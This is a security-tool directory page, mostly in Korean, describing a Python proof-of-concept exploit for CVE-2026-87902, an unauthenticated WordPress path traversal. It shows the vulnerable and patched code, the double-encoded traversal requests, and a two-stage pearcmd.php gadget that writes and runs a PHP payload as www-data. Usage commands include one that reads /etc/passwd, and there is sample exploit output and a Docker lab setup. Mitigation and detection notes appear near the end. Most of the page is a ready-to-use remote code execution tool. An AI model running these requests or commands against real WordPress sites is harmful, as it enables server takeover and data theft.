Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-87902 — WordPress locate_template()의 인증되지 않은 경로 순회 취약점(CVE-2026-87902)을 악용하여 LFI 및 PEAR 기반 RCE로 이어지는 Python PoC로, 안전한 탐지 모드를 포함합니다. | Kitploit
도구/GitHubGitHub/crowsec-edtech/cve-2026-87902
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access ToolPayload DevelopmentLabs & Practice
GitHubcrowsec-edtech/cve-2026-87902

CVE-2026-87902

WordPress locate_template()의 인증되지 않은 경로 순회 취약점(CVE-2026-87902)을 악용하여 LFI 및 PEAR 기반 RCE로 이어지는 Python PoC로, 안전한 탐지 모드를 포함합니다.

21일 전아직 검토되지 않음
저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-87902 — PoC: WordPress page-template 해석에서의 비인증 경로 순회

익스플로잇 파일: exploit_locate_template_rce.py — Python 3.6+ (stdlib only).

단일 명령 파이프라인: 안전한 탐지 (LFI 차등, 쓰기 없음) →, 취약한 경우, 원하는 명령을 실행하는 pearcmd.php 가젯을 통한 RCE (--command/-c). 쓰기 단계 전에 중단하려면 --validate-only를 사용하세요.

커밋 5fde0bb7의 수정이 없는 WordPress 버전에서 CVE-2026-87902를 테스트합니다 — "Themes: Restrict path traversal in locate_template()" (WordPress 7.1.2, 4.7.37까지 백포트).

CVECVE-2026-87902 (CWE-98, CVSS 4.0 9.2 Critical / v3.1 8.1 High)
AdvisoryGHSA-7hp8-65ch-5whp
영향받는 버전WordPress 4.7.0 – 7.1.1 (모든 브랜치)
수정7.1.2, 7.0.6, 6.9.9 … 4.7.37
수정 커밋5fde0bb7b9775523959094bf280cc54bfa78af51 (changeset 63792의 머지)
파일wp-includes/template.php (get_page_template(), locate_template(), _wp_is_template_path_allowed())
인증없음 — 사용자, 쿠키, nonce, 플러그인 모두 불필요
크레딧발견 및 공개: Robert Ressl

⚠️ 승인된 테스트 전용. 본인이 통제하는 환경(아래 랩은 격리됨)에서 또는 소유자의 명시적 승인 하에 사용하세요.


1. 취약점

수정이 없는 버전에서 get_page_template() → locate_template() → template-loader 체인은 선택된 템플릿이 테마 내부에 남아 있음을 결코 보장하지 않습니다.

수정 전 (wp-includes/template.php):

root@kitploit:~
// get_page_template(): decode TARDE, sem validate_file()
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
    $templates[] = "page-{$pagename_decoded}.php";
}

// locate_template(): só testa existência — nenhum confinamento de caminho
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
    $located = $wp_stylesheet_path . '/' . $template_name;
    break;
}

수정 후 (커밋 5fde0bb7):

root@kitploit:~
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) { ... }
...
if ( _wp_is_template_path_allowed( $candidate ) ) {   // realpath + confinamento
    $located = $candidate;                            // dentro de tema/parent/theme-compat
    break;
}

익스플로잇 체인 (저장소 코드)

  1. pagename과 page_id는 공개 쿼리 변수입니다 — 익명 POST의 body에서 허용됩니다. POST 메서드는 redirect_canonical() (canonical.php)이 조기에 반환하도록 만듭니다 — 이 함수는 GET/HEAD에서만 동작하므로 아무것도 리다이렉트되지 않습니다.
  2. 순회는 이중 인코딩되며(templates%252f%252e%252e%252f...) sanitize를 통과합니다: WP_Query::get_posts() (l.2191)가 pagename을 sanitize_title_for_query( wp_basename( ... ) )로 재작성합니다 — wp_basename()은 %2F에서 깨지지 않으며(formatting.php l.5768) sanitize는 %XX 옥텟을 보존합니다 (l.2395).
  3. page_id (l.2252)가 WHERE를 덮어씁니다 ("$where =", ".="가 아님) — 실제 페이지가 404 없이 로드되고, 악성 pagename이 쿼리 객체에 남습니다.
  4. get_page_template()이 늦은 urldecode()를 수행하고 validate_file() 없이 page-<traversal>.php를 구성합니다.
  5. 패치 전 locate_template()은 file_exists()만 호출합니다 → include가 테마를 벗어납니다.

전제 조건

#전제 조건이유
1공개된 페이지, 익명 접근 가능, page_id로 선택 가능하며 커스텀 템플릿 없음요청이 Page로 해석되어야 함; 커스텀 템플릿은 계층 구조에서 더 앞서 나옴
2활성 테마(자식 또는 부모)의 최상위 디렉터리로 page-로 시작하는 것 (예: page-templates/)WP가 고정 접두사 page-를 앞에 붙임; 순회가 진입하는 지점. 존재하고 순회 가능하기만 하면 됨 (비어 있어도 됨). Twenty Twelve/Fourteen, Neve, Hestia, Sydney에 존재
3존재하고 읽을 수 있는 로컬 .php 대상로더가 .php를 덧붙이고 is_file()/is_readable()을 확인
4(RCE 전용) 읽을 수 있는 pearcmd.php + register_argc_argv=On + 쓰기 가능한 디렉터리 (예: /tmp)PEAR→RCE 경로: config-create가 PHP 페이로드를 서버에 기록

2. 스크립트가 하는 일

1단계 — 안전한 탐지 (항상 먼저 실행)

공개된 페이지에 대한 세 번의 익명 POST — 디스크 쓰기 없음:

요청pagename예상 응답 (취약)
A — 베이스라인—200, 정상 본문 (~23 KB)
B — 컨트롤traversal → 존재하지 않는 파일200, 정상 본문 (폴백 page.php)
C — 프로브traversal → wp-content/index.php ("Silence is golden")200, 빈 본문

시그니처: C 비어 있음 + A/B 정상 ⇒ include가 테마를 벗어남 ⇒ 취약. 탐지는 자동으로 스캔합니다: 후보 테마 디렉터리 (page-templates, page-template) × 깊이 1–12. 결과(theme-dir + depth)가 RCE 단계에 공급됩니다.

--validate-only를 사용하면 스크립트가 여기서 중단됩니다 (취약하면 exit 0).

2단계 — pearcmd.php를 통한 RCE (쓰기)

root@kitploit:~
Estágio 1  POST /?+config-create+/<payload>+/tmp/wp-pear-rce.php
           body: page_id=2&pagename=templates%252f...%252fusr%252flocal%252flib%252fphp%252fpearcmd
           → o traversal inclui /usr/local/lib/php/pearcmd.php
           → argv vem da query string crua (register_argc_argv=On)
           → config-create GRAVA o payload em /tmp/wp-pear-rce.php (12 cópias serializadas)

Estágio 2  POST /  body: page_id=2&pagename=templates%252f...%252ftmp%252fwp-pear-rce
           → o mesmo traversal inclui o arquivo gerado → system(<--command>) roda como www-data

형식 세부 사항 (모든 제약은 스크립트가 처리):

  • POST, GET 아님: body가 page_id + pagename을 전달하고, 쿼리 문자열은 오직 PEAR의 argv만 전달합니다 (?+config-create+<root>+<out>).
  • 따옴표가 전혀 없는 페이로드: wp_magic_quotes() (load.php l.1290)가 add_magic_quotes($_SERVER)를 적용하고 pearcmd는 $_SERVER['argv']에서 argv를 읽습니다 — 어떤 따옴표든 \'가 되어 생성된 파일을 깨뜨립니다. 모든 PHP 문자열은 chr() 연결이 됩니다: '/tmp' → chr(47).chr(116).chr(109).chr(112).
  • 바이트 단위 정확한 요청 대상 (http.client): 쿼리 문자열의 원시 바이트 +, <, >가 argv입니다 — 경로 상에서 재작성/재인코딩될 수 없습니다.
  • config-create는 절대 root 경로를 요구합니다 — 페이로드가 root 자체로 주입되며 (/<php>), 출력을 구분하는 ___WP_RCE_OK___ 마커가 접두사로 붙습니다.
  • RCE는 탐지된 깊이부터 시도하며 (내부 순서 7, 6, 8, 5, …) 여러 pearcmd.php 경로(공식 Docker, Debian/Ubuntu, XAMPP)를 시도합니다 — 필요하면 --pear-path/--output으로 조정하세요.

"업로드"는 없습니다: 탐지 대상은 모든 WordPress가 기본 제공하는 파일 (wp-content/index.php)이며, RCE 페이로드는 PEAR 가젯을 통해 서버 자체가 기록하고 www-data로 실행됩니다.


3. 사용법

root@kitploit:~
# 1) Só validar a vulnerabilidade (LFI probe, sem escrita)
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only

# 2) Detecção + RCE executando um comando (default: 'id')
python exploit_locate_template_rce.py --url http://127.0.0.1:8080
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --command "id"
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "uname -a; cat /etc/passwd"

# Combinações úteis
python exploit_locate_template_rce.py -u https://alvo --page-id 2 --theme-dir page-templates
python exploit_locate_template_rce.py -u http://127.0.0.1:8080 -c "whoami" --depth 7 --verbose

매개변수

매개변수기본값설명
--url, -u(필수)WordPress 기본 URL
--command, -cid대상에서 실행되는 셸 명령 (--validate-only 시 무시됨)
--validate-onlyoff취약점만 검증 (LFI, RCE/쓰기 전에 중단)
--page-idauto (REST, fallback probe)커스텀 템플릿이 없는 공개 페이지 ID
--theme-dirpage-templates, page-template 시도page-로 시작하는 테마의 최상위 디렉터리
--probe-targetindex탐지 프로브 대상, .php 없이 (index → wp-content/index.php)
--depth0 (1–12 스캔)../ 세그먼트 수
--pear-path내부 목록 시도RCE 단계의 pearcmd.php, .php 없이 (Docker, Debian, XAMPP)
--output/tmp/wp-pear-rcePEAR 페이로드의 쓰기 가능한 대상, .php 없이
--timeout20요청당 타임아웃 (초)
--insecureoffTLS 인증서 검증 안 함
--verboseoff시도별 상세 출력

랩에서의 예상 출력

root@kitploit:~
[*] alvo          : http://127.0.0.1:8080
[*] comando       : 'id'
[*] versão WP     : 7.1.1  (<= 7.1.1 => potencialmente afetada)
[*] page id       : 2 (sample-page, via /index.php?rest_route=/wp/v2/pages...)
[*] modo          : detecção segura (wp-content/index.php, sem escrita)
[+] theme dir     : page-templates
[+] depth          : 3
[+] traversal      : page-templates/../../../index.php
[+] VULNERÁVEL     : CVE-2026-87902 (fix 5fde0bb ausente)
[*] modo          : RCE (2 estágios via pearcmd.php)
[+] theme dir     : page-templates
[+] depth          : 7
[+] pearcmd        : /usr/local/lib/php/pearcmd.php
[+] payload file   : /tmp/wp-pear-rce.php (gravado pelo PEAR no estágio 1)
[+] comando        : 'id'
[+] saída          :
    | uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] EXPLOIT BEM-SUCEDIDO — PHP executado como a conta web

종료 코드: 0 = 검증됨/RCE 성공 · 1 = 확인되지 않음/실패 · 2 = 오류 (예: 공개된 페이지를 찾을 수 없음). 회귀 검사로 사용 가능: WordPress ≥ 7.1.2에서는 프로브가 결코 비어 있지 않고 1을 반환합니다.


4. 랩 (Docker)

사용된 랩: docker-compose.yml.

root@kitploit:~
services:
  db:
    image: mariadb:11
    restart: always
    environment:
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wp_user
      MYSQL_PASSWORD: wp_pass
      MYSQL_ROOT_PASSWORD: root_pass
    volumes:
      - db_data:/var/lib/mysql

  wordpress:
    image: wordpress:7.1.1-php8.3-apache   # PINADA — a rolling baixa 7.1.2+ (patcheada!)
    depends_on:
      - db
    restart: always
    ports:
      - "8080:80"
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wp_user
      WORDPRESS_DB_PASSWORD: wp_pass
      WORDPRESS_DB_NAME: wordpress
    volumes:
      - wp_data:/var/www/html
      # fixture: diretório top-level "page-*" no tema (precondição #2). Pode ser vazio.
      - ./page-templates:/var/www/html/wp-content/themes/twentytwentyfive/page-templates

volumes:
  db_data:
  wp_data:
root@kitploit:~
docker compose up -d

# Instalar o WordPress (wizard em http://localhost:8080 OU via wp-cli):
docker run --rm --network wordpress-exploit_default -v wordpress-exploit_wp_data:/var/www/html `
  -e WORDPRESS_DB_HOST=db:3306 -e WORDPRESS_DB_USER=wp_user -e WORDPRESS_DB_PASSWORD=wp_pass `
  -e WORDPRESS_DB_NAME=wordpress `
  wordpress:cli wp core install --url=http://localhost:8080 --title="Lab" `
  --admin_user=admin --admin_password=adminadmin [email protected] --skip-email

# Rodar
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only --verbose
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "id"

# Teardown
docker compose down -v

각 요소가 중요한 이유:

  • 7.1.1-php8.3: < 7.1.2이고 php8.3이어야 합니다 — PHP 8.5에서는 register_argc_argv가 HTTP SAPI에서 기본 Off이고 PEAR가 배포판에서 제거되어 RCE 단계가 작동하지 않습니다 (LFI 탐지는 작동).
  • 롤링 태그 = 함정: wordpress:php8.3-apache는 오늘 7.1.2+ (패치됨)를 받아오고 익스플로잇은 올바르게 실패합니다.
  • 이미지 교체로 다운그레이드 불가: wp_data 볼륨이 코어를 유지하므로, 태그를 바꾸려면 docker compose down -v가 필요해 entrypoint가 새 이미지의 파일을 다시 복사합니다.
  • page-templates/ (fixture): 기본 테마(Twenty Twenty-*)에는 page-* 디렉터리가 없습니다 — 없으면 고정 접두사 page-가 결코 해석되지 않고 어떤 깊이도 작동하지 않습니다. 바인드 마운트 대안: command: >와 sh -c "mkdir -p .../page-templates && exec apache2-foreground".
  • register_argc_argv=On: 공식 이미지는 웹 php.ini를 로드하지 않으므로 컴파일된 기본값이 적용됩니다 (php8.3에서 On). 확인: docker exec <c> php -i | grep argc.
  • 랩 깊이: 탐지는 3에서 맞습니다 (page-templates/ → 3×.. → wp-content/); PEAR는 7에서 맞습니다 (→ / → /usr/local/lib/php/pearcmd.php).

5. 한계 및 방어자 참고 사항

  • 부정적 결과는 불충분합니다 (page-* 없는 테마, 커스텀 템플릿이 있는 페이지, open_basedir, traversal을 차단하는 WAF/프록시, 잘못된 page_id).
  • 빈 프로브는 빈 200을 응답하는 WAF에 의해 모방될 수 있습니다 — 로그로 확인하세요.
  • 완화책: 7.1.2+로 업데이트 (또는 브랜치 백포트); 웹 SAPI에 대해 register_argc_argv=Off; 프로덕션에서 읽을 수 있는 pearcmd.php 제거; 테마의 최상위 page-* 디렉터리 감사; %252f/%252e(이중 인코딩)가 포함된 pagename에 대해 로그 경보.
  • PEAR는 포함→실행의 하나의 경로일 뿐입니다; 읽을 수 있고 유용한 어떤 .php든 LFI의 대상이 될 수 있습니다 (--probe-target을 통한 탐지).

6. 참고 자료

  • Advisory: https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
  • 수정 (브랜치 7.1): 커밋 5fde0bb7b9775523959094bf280cc54bfa78af51 — changeset 63792
  • 발견자의 write-up 및 PoC: https://ressl.ch/blog/cve-2026-87902-wordpress/ · https://github.com/ressl/cve-2026-87902-poc
  • 차등 탐지 (Hadrian): https://hadrian.io/vulnerability-alerts/cve-2026-87902-working-poc-wordpress-critical-path-traversal
  • WordPress 7.1.2: https://wordpress.org/news/

법적 고지

이 자료는 승인된 보안 연구 및 테스트 목적으로만 제공됩니다. 소유자의 명시적 허가 없이 시스템에 사용하는 것은 불법입니다. 이 익스플로잇은 격리된 로컬 랩에서만 개발되고 검증되었습니다.

도구 다운로드